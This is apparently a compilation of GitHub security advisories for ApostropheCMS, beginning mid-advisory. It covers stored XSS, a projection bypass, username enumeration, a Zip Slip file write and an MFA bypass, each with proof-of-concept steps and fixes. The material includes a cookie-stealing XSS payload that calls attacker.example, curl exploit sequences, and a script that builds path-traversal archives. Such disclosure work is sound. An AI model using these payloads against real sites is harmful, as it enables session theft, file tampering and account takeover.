Extract CSRF token CSRF=$(curl -s -b "$COOKIEJAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]"' | cut -d'"' -f4)

Step 2: Create or update a piece/page with a malicious color value in a styled widget.

The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):

bash Inject XSS payload via color field in widget styles The --x prefix bypasses TinyColor validation PAYLOAD='--x: red}</style><img src=x onerror="fetch(https://attacker.example/steal?c=+document.cookie)"><style>'

curl -s -b "$COOKIEJAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page" \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $CSRF" \ -d '{ "slug": "/xss-test", "title": "Test Page", "type": "default-page", "main": { "items": [{ "type": "some-widget", "styles": { "backgroundColor": "'"$PAYLOAD"'" } }] } }'

Step 3: Publish the page.

bash curl -s -b "$COOKIEJAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \ -H "X-XSRF-TOKEN: $CSRF"

Step 4: Any visitor navigates to the published page.

bash As an unauthenticated visitor curl -s http://localhost:3000/xss-test | grep -A2 'onerror'

Expected (safe): The color value is escaped or rejected.

Actual: The rendered HTML contains:

html <style data-apos-widget-style-for="..." data-apos-widget-style-id="..."> .apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(https://attacker.example/steal?c=+document.cookie)"><style>; } </style>

The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.

Impact

- Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience. - Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS. - Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited. - No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.

Recommended Fix

Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):

javascript // Before (line 36): if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; }

// After: if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } else if (destination[field.name].startsWith('--')) { // CSS custom property names: only allow alphanumeric, hyphens, underscores if (!/^--[a-zA-Z0-9-]+$/.test(destination[field.name])) { destination[field.name] = null; } }

Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):

javascript // Before (line 232-234): return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + css + '\n</style>';

// After: const sanitizedCss = css.replace(/<\//g, '<\\/'); return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + sanitizedCss + '\n</style>';

Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

javascript // piece-type/index.js:1120-1137 getRestQuery(req, omitPermissionCheck = false) { const query = self.find(req).attachments(true); query.applyBuildersSafely(req.query); // [1] attacker input applied first if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else if (!query.state.project) { // [2] checks if projection already set query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } return query; },

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

javascript // doc-type/index.js:1875-1889 project: { launder (p) { if (!p || typeof p !== 'object' || Array.isArray(p)) { return {}; } const projection = Object.entries(p).reduce((acc, [ key, val ]) => { return { ...acc, [key]: self.apos.launder.boolean(val) }; }, {}); return projection; },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

javascript // page/index.js:2953-2958 } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); }

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

javascript // modules/article/index.js module.exports = { extend: '@apostrophecms/piece-type', options: { publicApiProjection: { title: 1, url: 1 } } };

Step 1: Normal request — observe restricted fields are hidden:

bash curl 'http://localhost:3000/api/v1/article'

Response returns only title and url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

bash curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

bash curl 'http://localhost:3000/api/v1/article?project[id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

Impact

- Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API. - Scope: Affects all piece-type modules with publicApiProjection configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.

Recommended Fix

Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:

javascript // modules/@apostrophecms/piece-type/index.js:1123-1134 // BEFORE (vulnerable): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else if (!query.state.project) { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } }

// AFTER (fixed): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ id: null }); } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } }

1 / 2
Source: GitHub
First published (updated )
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.

Details

The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:

User not found — fixed 2000ms delay (index.js:309-314): javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); return; }

User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355): javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) });

The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.

Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers: javascript const criteriaOr = [ { username: email }, { email } ];

There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.

PoC

Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.

Step 1 — Baseline invalid user timing: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done Expected: all responses cluster tightly around 2.0xx seconds

Step 2 — Test known valid user: bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{timetotal}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)

Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.

Impact

- Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration. - Mitigating factor: The passwordReset option defaults to false (index.js:62), so only instances that explicitly enable password reset are affected.

Recommended Fix

Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:

javascript async resetRequest(req) { const MINRESPONSETIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); } else if (!user.email) { self.apos.util.error( Reset password request error - the user ${user.username} doesn\t have an email. ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = :${port}; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : ${req.protocol}://${req.hostname}${port} ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(Error while sending email to ${user.email}, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MINRESPONSETIME) { await Promise.delay(MINRESPONSETIME - elapsed); } },

Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.06%
Path Traversal, XSS, CSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export

---

Product

| Field | Value | |---|---| | Repository | apostrophecms/apostrophe (monorepo) | | Affected Package | @apostrophecms/import-export | | Affected File | packages/import-export/lib/formats/gzip.js | | Affected Function | extract(filepath, exportPath) — lines ~132–157 | | Minimum Required Permission | Global Content Modify (any editor-level user with import access) |

---

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

js fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

---

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

- Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection ApostropheCMS serves <project-root>/public/ via Express static middleware:

js // packages/apostrophe/modules/@apostrophecms/asset/index.js express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables: - Full site defacement - Serving phishing pages from the legitimate CMS domain - Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart) If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite Overwrite .env, app.config.js, database seed files, or any config file to: - Exfiltrate database credentials on next load - Redirect authentication to an attacker-controlled backend - Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service Overwrite any critical application file (package.json, nodemodules entries, etc.) with garbage data, rendering the application unbootable.

---

Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

---

Proof of Concept

Two PoC artifacts are provided:

| File | Purpose | |---|---| | tmp-import-export-zip-slip-poc.js | Automated Node.js harness — verifies the write happens without a browser | | make-slip-tar.py | Attacker tool — generates a real .tar.gz for upload via the CMS web UI |

---

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

js const fs = require('node:fs'); const fsp = require('node:fs/promises'); const path = require('node:path'); const os = require('node:os'); const zlib = require('node:zlib'); const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) { const pack = tar.pack(); const gzip = zlib.createGzip(); const out = fs.createWriteStream(archivePath);

const done = new Promise((resolve, reject) => { out.on('finish', resolve); out.on('error', reject); gzip.on('error', reject); pack.on('error', reject); });

pack.pipe(gzip).pipe(out);

pack.entry({ name: 'aposDocs.json' }, '[]'); pack.entry({ name: 'aposAttachments.json' }, '[]');

// Traversal payload pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNEDFROMTAR');

pack.finalize(); await done; }

(async () => { const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-')); const archivePath = path.join(base, 'evil-export.gz'); const exportPath = archivePath.replace(/\.gz$/, '');

await makeArchive(archivePath);

const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

// Ensure clean pre-state try { await fsp.unlink(expectedOutsideWrite); } catch () {}

await gzipFormat.input(archivePath);

const exists = fs.existsSync(expectedOutsideWrite); const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

console.log('EXPORTPATH:', exportPath); console.log('EXPECTEDOUTSIDEWRITE:', expectedOutsideWrite); console.log('ZIPSLIPWRITEHAPPENED:', exists); console.log('WRITTENCONTENT:', content.trim()); })(); Run: powershell node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed): EXPORTPATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export EXPECTEDOUTSIDEWRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt ZIPSLIPWRITEHAPPENED: true WRITTENCONTENT: PWNEDFROMTAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py): python import tarfile, io, sys

if len(sys.argv) != 3: print("Usage: python make-slip-tar.py <payloadfile> <targetpath>") sys.exit(1)

payloadfile = sys.argv[1] targetpath = sys.argv[2] out = "evil-slip.tar.gz"

with open(payloadfile, "rb") as f: payload = f.read()

with tarfile.open(out, "w:gz") as t: docs = io.BytesIO(b"[]") info = tarfile.TarInfo("aposDocs.json") info.size = len(docs.getvalue()) t.addfile(info, docs)

atts = io.BytesIO(b"[]") info = tarfile.TarInfo("aposAttachments.json") info.size = len(atts.getvalue()) t.addfile(info, atts)

info = tarfile.TarInfo(targetpath) info.size = len(payload) t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

bash echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 — Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:

bash python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing: - aposDocs.json — empty, required by the importer - aposAttachments.json — empty, required by the importer - ../../../../<project-root>/public/injected.html — the traversal payload

Step 3 — Upload via CMS Import UI

1. Log in to the CMS with any account that has Global Content Modify permission. 2. Navigate to Open Global Settings → More Options → Import. 3. Select evil-slip.tar.gz and click Import. 4. The CMS accepts the file and begins extraction — no error is shown.

Step 4 — Confirm the write

bash curl http://localhost:3000/injected.html

Expected response: <!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJvxjMuvfjnstmTh07FB7VqGH/view?usp=sharing ---

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.06%
CSRF
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement.

Severity

The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.

Affected Versions

All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement.

Root Cause

In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed):

javascript async function getBearer() { const bearer = await self.apos.login.bearerTokens.findOne({ id: req.token, expires: { $gte: new Date() }, // requirementsToVerify array should be empty or inexistant // for the token to be usable to log in. $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $ne: [] } } // BUG ] }); return bearer && bearer.userId; }

The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior.

| Token State | requirementsToVerify | $ne: [] result | Should match? | |---|---|---|---| | No MFA configured | (field absent) | N/A ($exists: false matches) | Yes | | TOTP pending | ["AposTotp"] | true (BUG!) | No | | All verified | [] | false (BUG!) | Yes | | Field removed ($unset) | (field absent) | N/A ($exists: false matches) | Yes |

Attack Scenario

Prerequisites - ApostropheCMS instance with @apostrophecms/login-totp enabled - Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach) - Attacker does NOT know the victim's TOTP secret/code

Steps

1. Authenticate with password only: POST /api/v1/@apostrophecms/login/login Content-Type: application/json

{"username": "admin", "password": "correctpassword", "session": false}

2. Receive incomplete token (server correctly requires TOTP): json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}

3. Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx

4. Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.

Proof of Concept

See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:

bash #!/usr/bin/env node / PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js has a logic error in the MongoDB query that validates bearer tokens. The comment says: "requirementsToVerify array should be empty or inexistant for the token to be usable to log in." But the actual query uses $ne: [] (NOT equal to empty array), which matches tokens WITH unverified requirements — the exact opposite of the intended behavior. This allows an attacker who knows a user's password (but NOT their TOTP code) to use the "incompleteToken" returned after password verification as a fully authenticated bearer token, bypassing MFA. Affected: ApostropheCMS with @apostrophecms/login-totp (or any custom afterPasswordVerified requirement) File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389 /

const RED = '\x1b[91m'; const GREEN = '\x1b[92m'; const YELLOW = '\x1b[93m'; const CYAN = '\x1b[96m'; const RESET = '\x1b[0m'; const BOLD = '\x1b[1m';

// Simulate MongoDB's $ne operator behavior function mongoNe(fieldValue, compareValue) { // MongoDB $ne: true if field value is NOT equal to compareValue // For arrays, MongoDB compares by value if (Array.isArray(fieldValue) && Array.isArray(compareValue)) { if (fieldValue.length !== compareValue.length) return true; return fieldValue.some((v, i) => v !== compareValue[i]); } return fieldValue !== compareValue; }

// Simulate MongoDB's $exists operator function mongoExists(doc, field, shouldExist) { const exists = field in doc; return exists === shouldExist; }

// Simulate MongoDB's $size operator function mongoSize(fieldValue, size) { if (!Array.isArray(fieldValue)) return false; return fieldValue.length === size; }

// Simulate the VULNERABLE bearer token query (line 386-389) function vulnerableQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $ne: [] } } <-- BUG // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoNe(token.requirementsToVerify, []) : false; return cond1 || cond2; }

// Simulate the FIXED bearer token query function fixedQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $size: 0 } } <-- FIX // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoSize(token.requirementsToVerify, 0) : false; return cond1 || cond2; }

function banner() { console.log(${CYAN}${BOLD} ╔══════════════════════════════════════════════════════════════════╗ ║ ApostropheCMS MFA/TOTP Bypass PoC ║ ║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║ ║ @apostrophecms/express/index.js:386-389 ║ ╚══════════════════════════════════════════════════════════════════╝${RESET} ); }

function test(name, token, expectedVuln, expectedFixed) { const vulnResult = vulnerableQuery(token); const fixedResult = fixedQuery(token);

const vulnCorrect = vulnResult === expectedVuln; const fixedCorrect = fixedResult === expectedFixed;

console.log(${BOLD}${name}${RESET}); console.log( Token: ${JSON.stringify(token)}); console.log( Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})); console.log( Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET}));

if (vulnResult && !fixedResult) { console.log( ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}); } console.log(); return vulnResult && !fixedResult; }

// ——— Main ——— banner(); const bypasses = [];

console.log(${BOLD}--- Token States During Login Flow ---${RESET}\n);

// 1. Normal bearer token (no MFA configured) // Created by initialLogin when there are no lateRequirements // Token: { id: "xxx", userId: "yyy", expires: Date } // No requirementsToVerify field at all test( '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED', { id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) );

// 2. Incomplete token — password verified, TOTP NOT verified // Created by initialLogin when lateRequirements exist // Token: { id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date } const bypass1 = test( '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED', { id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp']) false // fixed: rejected (correct) ); if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset) // After requirementVerify pulls each requirement from the array // Token: { id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date } test( '[Token 3] All requirements verified (empty array) — should be ACCEPTED', { id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) }, false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match []) true // fixed: accepted (correct) );

// 4. Finalized token (requirementsToVerify removed via $unset) // After finalizeIncompleteLogin calls $unset // Token: { id: "xxx", userId: "yyy", expires: Date } test( '[Token 4] Finalized token ($unset completed) — should be ACCEPTED', { id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) );

// 5. Multiple unverified requirements const bypass2 = test( '[Token 5] Multiple unverified requirements — should be REJECTED', { id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG!) false // fixed: rejected (correct) ); if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario console.log(${BOLD}--- Attack Scenario ---${RESET}\n); console.log( ${YELLOW}Prerequisites:${RESET}); console.log( - ApostropheCMS instance with @apostrophecms/login-totp enabled); console.log( - Attacker knows victim's username and password); console.log( - Attacker does NOT know victim's TOTP code\n);

console.log( ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials); console.log( POST /api/v1/@apostrophecms/login/login); console.log( {"username": "admin", "password": "correctpassword", "session": false}\n);

console.log( ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token); console.log( Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}); console.log( (TOTP verification still required)\n);

console.log( ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token); console.log( GET /api/v1/@apostrophecms/page); console.log( Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n);

console.log( ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query); console.log( MongoDB query: {); console.log( id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",); console.log( expires: { $gte: new Date() },); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!); console.log( ]); console.log( }); console.log( The token has requirementsToVerify: ["AposTotp"]); console.log( $ne: [] matches because ["AposTotp"] !== []\n);

console.log( ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}); console.log( req.user is set, req.csrfExempt = true); console.log( Full API access without TOTP verification\n);

// Summary console.log(${BOLD}${'='.repeat(64)}); console.log(Summary); console.log(${'='.repeat(64)}${RESET}); console.log( ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n); console.log( ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388); console.log( The MongoDB query uses $ne: [] which matches NON-empty arrays.); console.log( The comment says the array should be "empty or inexistant",); console.log( but $ne: [] matches exactly the opposite — non-empty arrays.\n); console.log( ${YELLOW}Vulnerable code:${RESET}); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { $ne: [] } } // BUG); console.log( ]\n); console.log( ${YELLOW}Fixed code:${RESET}); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { $size: 0 } } // FIX); console.log( ]\n); console.log( ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's); console.log( password can skip TOTP verification and gain full authenticated); console.log( API access by using the incompleteToken as a bearer token.\n); console.log( ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary); console.log( issue where tokens with ALL requirements verified (empty array,); console.log( before the $unset runs) are incorrectly REJECTED. This is masked); console.log( by the fact that finalizeIncompleteLogin uses $unset to remove); console.log( the field entirely, so the $exists: false path is used instead.); console.log(); console.log();

Both bypass vectors (single and multiple unverified requirements) confirmed.

Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin

A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:

javascript await self.bearerTokens.removeOne({ id: token.userId // BUG: should be token.id });

The token's id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

1. The incomplete token is never deleted from the database, even after a legitimate MFA-verified login 2. Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour) 3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

javascript $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $size: 0 } } // FIX: match empty array only ]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token.id:

javascript await self.bearerTokens.removeOne({ id: token.id // FIX: use the token's actual ID });

1 / 2
